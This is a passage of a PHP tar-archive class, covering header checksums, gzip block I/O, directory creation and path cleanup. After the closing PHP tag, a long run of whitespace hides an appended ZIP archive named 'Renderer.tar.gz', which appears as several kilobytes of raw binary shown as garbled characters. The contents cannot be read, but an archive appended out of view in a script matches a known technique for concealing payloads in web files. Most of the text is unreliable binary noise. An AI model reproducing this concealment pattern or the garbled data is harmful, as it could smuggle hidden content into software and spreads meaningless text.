			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
Ϲ[L{c
EU`_*+֞Ͳ|tHY׬4JP=ܝBf6iv%Нi3X>'0mcVQg"SE8t>dbgo&#Qoot̤kɺ<GgJF|̉A|kרЛv4P{wk} SN։G:Wg>@_}0{i!RYKɴunɗ#OtDF޶<yl(#;vMi~%=я\yIV݅Wm:s9j[i$ah<l#.k/'2ԡk>R!/2^O.lv	Fr~K
:zyH2<'ZC|,3\s͉Օ+fܺbs*9}:OC
gCowן7)o7Tؼ@{os顬0һA&{,b\ݍ5<z6SE8ǁScǦ:M)jE;m}3H_;"aث%^Ydw~Hn[WHU9i)+[<tj^Q>='e%㕜Iq#SYw1j
݄z&&o48)M?W93~P~]!GPIb	of2dD_$E//e:q">=<r6?q|`/ɒE߽II[~o;keNQ3[>9v_;J2HWk(i'jhKvK0&rQ\҅Y#Pޡ1U;MOe˳֞Vh{MDpcMZV1Z"rB\.Xm5g'K8x)d$b)kk`eJ!uȉ[ucY㧨%Oܵtƾ:/Xy=Ou!^.tcIuŏU-E&|Jlfoܹ>lo=۶5ētu!/[R[qmB qcz_tOվM:㊖[uۻgwL1xFpz7d}jkl{!D)<7kdFt,?rC[Y+|^,H-FSϫH'YyIN,Z۲)zJb57lˎi[DaR\(-/VC$+_Q(t^rĴsU%+{&.=Tcїu0(Ԏ$]ҽ*=AE_-r*ޑ@Ikm᜔$1؄S<0 Wx:9Hn&%f=uۍ0X'uDVgp|I>d$=;ⴤZ@EO4Ti/݊nL6G0))c\9-n?Q{.E[9Wh=m_}|Cޅm#ODIXƲd)Uνb0<Rc$<|;7KЧN	ZFÖ}W[m'%5^A~}Z}Sg@$B]1\T[fW/Ye7j̊tlQvbws.{,Cq`)(85|W<ŭKpۼY	cyD}{HXuy87J̈;٩&l0>Y;̼{M|aTp|:&W7Tjp(t=fHF%pUY=ahkOz{,4N?2C|۲z,xHv(tKH5HA"W՚lqDj׈-򨯊\lf&vO1ĎR}8Uǹd5af>/IקŹy-9M*J/uлi,OURg'3)DPZUr[pϻ;xdvW0%+cY$l6ǖƶmMgǊLY{-ca31J\q
\^bSAxJo*mHk▘J҃Td${4G3EG]食/6h77nLb'p5?@0`Ut`ԝIu36v+\vG1ZFOBS)?,|N&aE\g`5ST%~%Hs^!=ր Z7	ꩈu1ǧHn}Nu籷EΕ4ZJLrST|O[.\.6S,ZľB.nKN~H.M;Z(w̕i*~fyĦm&[{)??zC^Oc^KmA70ծN֒N1҉}yvF2F.f%F%ԉW(:W5POۈǚ{NzH"/#y6Oe܃ہAi 	/N@d#n=Z>)qp5݉A=z4d"F]=(Ǻ|l17pZL(эN4pcOf(pdRǱ(ɯ_hHӬv^¶O2EDft&=|q%aH@"uY1H%'"4c$hv_;P`Js]Y/TGCprs5o¾YV«iI)=Pg1Iq=>Z_x>;Oy8|hة1r#ej_tig@.FC/t_2v^֬`<7H}.U]e}RZ|P7\*??!Ld;K-aKr@ֻl}{Bn%{vHhץg1Vm~IuO_<Bvan(LZ}o
Q1'=qzIb3OUw-ܿTܙ{oҺEX#>m䝩6-%7OFҜquG
MxB8{zd9-l&v~<}Xv2}q{N`F;TDzn{|6ㄵ$5|g-_K".bK]j[#elLA-Re39*7uM]2+˜88JtYS-{-SzڮBU+	&1m<黽+1oܛmIVki[es	<:FxT2^'oqGYDҧ?w_.]+Rs9IEBA6Wޢ7ҐiNQRm6Pܒqc1(eW"?sKvb`١.ޥMk'r#K;bv$HBȟd_X,%aƇ+;^@H=:W~pѰ֯d<C^,b>]ڳ0}ŋdU9)Vc{OoJ5..O,gh{/,\nՃ;&RLXOHnief-S3q:[
Ƿ^=,M`dW6'}=A:;yj\Xɪft xhsJ)oiL<]p69};U-rLvnKc??prLvG*\;=6Uk'.ѝGoZ$89 5᳙5SdJOQM*rjO+gʨMr0ъټ'%Ճg}{?Y#.`mϾJz[wC^*ᙧWNq:2*N(|c)欏	ϝ~4|j.H+3<ԟdw&^>ishf@Ema驯O.2zvj#qB3H\TGYRMG&cYڍpw{*8R2/:ԛ 鹱 (L?'xۼ?&>Yv1Sn'Ol-wvPUه	WTWY ۹'/z'2ۜ)X/K<r~ȓF瞘XT{cO.q-Hz}~CBŞ̭?3Hq{^~YxD%~!h!ܒwi&M^V-0i귌j;*eaL̾IyjOLm+[#nSi_880:I>.gaw~1G/_XGyh)NG~Y|Y;.},q}|Fʹr	mVj1J$J)KM'^g|[٩AIv\"d=ҒHJOךI)Κ*4|)TXxLX='y?lwUDpGI<?d_ E+ v{}ZJ1V͔	vl?Nz-gtPM?B.}1Q-swW.	
6i')N7^x5W#Vܷ}BG67ǝW2r[0ta<U|dăٛ
Mx0vJ}uMVz8@\JPl¼xFkBֲGf!;:L2$M&\/X6_QHzl}st}Z:$tlӗ
Ri}Rp܊yMfߞBvަ&7
